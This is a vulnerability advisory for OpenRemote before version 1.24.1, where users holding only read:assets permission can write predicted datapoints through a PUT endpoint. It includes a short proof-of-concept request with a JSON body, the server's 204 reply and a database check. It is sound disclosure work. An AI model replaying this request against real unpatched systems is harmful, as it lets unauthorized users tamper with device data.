fkie_cve-2026-49439

OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.

GHSA-xj53-j257-hxvg — OpenRemote read-only asset users can write predicted datapoints

Affected: Maven: io.openremote:openremote-manager

# Summary

The predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.

The endpoint:

```text PUT /api/{realm}/asset/predicted/{assetId}/{attributeName} ```

accepts write requests from users lacking `write:assets`.

The implementation appears to check `READ_ASSETS` while performing a write operation through:

```java assetPredictedDatapointService.updateValues(...) ```

# PoC

A user was created with only:

```text read:assets ```

and without `write:assets`.

The following request succeeded:

```http PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature ```

Request body:

```json [{"x":1779199999001,"y":1337}] ```

Response:

```text HTTP/2 204 ```

Database verification confirmed the datapoint was written successfully:

```text entity_id: 4Fr8Pcp7iDjrEmoSUFolvT attribute_name: temperature value: 1337 ```

# Impact

Users with read-only asset permissions can modify predicted datapoints for assets.

Most recent entries from all

fkie_cve-2026-49439

GHSA-xj53-j257-hxvg — OpenRemote read-only asset users can write predicted datapoints